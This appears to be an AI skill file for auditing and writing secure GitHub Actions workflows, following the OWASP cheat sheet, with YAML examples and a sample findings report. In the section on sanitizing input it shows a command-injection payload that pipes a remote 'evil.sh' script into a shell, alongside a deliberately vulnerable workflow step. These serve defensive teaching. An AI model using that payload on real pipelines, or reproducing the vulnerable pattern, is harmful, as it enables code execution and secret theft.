Github Actions Security Review

GitHub Actions Security Verification

Based on the OWASP GitHub Actions Security Cheat Sheet

CI/CD pipelines hold long-lived credentials and a GITHUB_TOKEN that can have write access to the repository. A compromised workflow is a compromised production system. This skill treats GitHub Actions workflows as security-critical code and verifies them — or writes them — against every check documented in the OWASP GitHub Actions Security Cheat Sheet.

The cheat sheet frames the risk around four outcomes, and every check below maps back to preventing one of them:

1. Secrets exfiltration — long-lived credentials printed to logs, sent to an external endpoint, or embedded in an artifact via attacker-controlled code execution.
2. GITHUB_TOKEN compromise — a write-scoped token stolen or misused to modify repo contents, releases, or other GitHub resources.
3. Cache/artifact poisoning — malicious content injected into a shared cache or artifact that a later, more privileged workflow (e.g. a release pipeline) trusts and executes.
4. Denial-of-wallet — attacker-triggered pipeline runs that rack up cost against paid external services (e.g. LLM-based code review).

Step 0 — Locate what to verify

# Workflow files
find .github/workflows -type f \( -name "*.yml" -o -name "*.yaml" \) 2>/dev/null

# Composite / local reusable actions (checked separately — same rules apply)
find .github/actions -type f -name "action.yml" -o -name "action.yaml" 2>/dev/null

# Dependency-update tooling, if present
find .github -maxdepth 1 -iname "dependabot.yml" -o -iname "renovate.json*" 2>/dev/null

If the user pasted a workflow inline or uploaded one, verify that file directly instead of searching the filesystem. If nothing is found, ask whether they want to scaffold a new, secure-by-default workflow instead — see Step 3.

Step 1 — Run the Security Gate

For every workflow and composite action file found, check each row below. Read the linked reference file for detection patterns and full remediation code before making a final call — some of these require judgement (e.g. "is this third-party action trustworthy?"), not just a grep.

🚫 CRITICAL — code-execution / secret-exfiltration risk. Do not certify a workflow as safe, and do not hand the user new YAML, while any of these are open.

⚠️ STANDARD — defense-in-depth and hygiene. Warn and recommend; don't block on these alone.

Two OWASP recommendations are organizational rather than per-file checks, but raise them whenever relevant: treat the CI/CD pipeline itself as critical production code (threat modeling, secure code review, pen testing — see references/repo-and-runner-hardening.md), and have an incident response plan in place for pipeline compromise before it's needed.

Gate response format

When any CRITICAL item is open, lead with this before anything else in the response:

🚫 GitHub Actions Security Gate — NOT CLEAR

.github/workflows/release.yml

  [C5] Unpinned third-party action — actions-ecosystem/action-something@v2 is pinned to a
       mutable tag, not a commit SHA.
       OWASP: "Always pin all action and reusable workflow versions with a commit hash..."
       Risk: a compromised or malicious release of this action runs with this workflow's
       permissions and any secrets in scope.
       Fix: pin to the full commit SHA, e.g.
       uses: actions-ecosystem/action-something@a1b2c3d... # v2.1.0

  [C6] Missing default-deny permissions — no top-level `permissions:` block, so GITHUB_TOKEN
       gets the repository's default permissions (commonly read/write).
       OWASP: "Always set permissions: {} at the workflow level..."
       Fix: add `permissions: {}` at the top of the workflow and grant only what each job needs.

2 CRITICAL issues found. Resolve these before this workflow is safe to merge/run.

List every STANDARD finding after the CRITICAL section (or on its own if there are no CRITICAL findings) as recommendations rather than blockers. If everything passes, say so plainly and summarize the checks that were verified — don't manufacture findings to seem thorough.

Step 2 — Category detail and patterns

Minimize GITHUB_TOKEN permissions (C6)

Default-deny at the workflow level, then grant narrowly per job:

permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps: [...]

  publish-release:
    runs-on: ubuntu-latest
    permissions:
      contents: write   # only the job that actually needs it
    steps: [...]

Deployment approval (S7)

jobs:
  deploy-prod:
    runs-on: ubuntu-latest
    environment: production   # requires manual approval if configured with required reviewers
    permissions:
      contents: read
      id-token: write
    steps: [...]

Configure the required reviewers list under the repository's Environments settings — the environment: key alone doesn't enforce approval, it just targets the environment whose rules then apply.

Sanitize user input (C4)

Never interpolate untrusted context straight into a shell step — GitHub expands ${{ ... }} before the shell ever sees it, so attacker-controlled text (a PR title, issue body, commit message, branch name) becomes literal shell syntax.

# ❌ Vulnerable — a PR titled `"; curl evil.sh | sh #` runs arbitrary shell
- run: echo "Building PR: ${{ github.event.pull_request.title }}"

# ✅ Safe — the value is passed as data through an env var, not spliced into the script
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Building PR: $PR_TITLE"

Apply this consistently even for contexts that look "safe" (e.g. github.repository) — it costs nothing and removes the need to reason about which contexts are attacker-influenced today versus tomorrow.

Step 3 — Writing new workflows

When asked to scaffold a workflow rather than audit one, apply every CRITICAL control from the gate by construction: permissions: {} at the top, pinned-by-SHA actions, persist-credentials: false on checkout unless push access is required, no secrets: inherit, sanitized context handling, and OIDC over static credentials wherever the target (cloud provider, package registry) supports trusted publishing. Then run the same gate against the result before handing it back — generated code gets no exemption from verification.

Reference files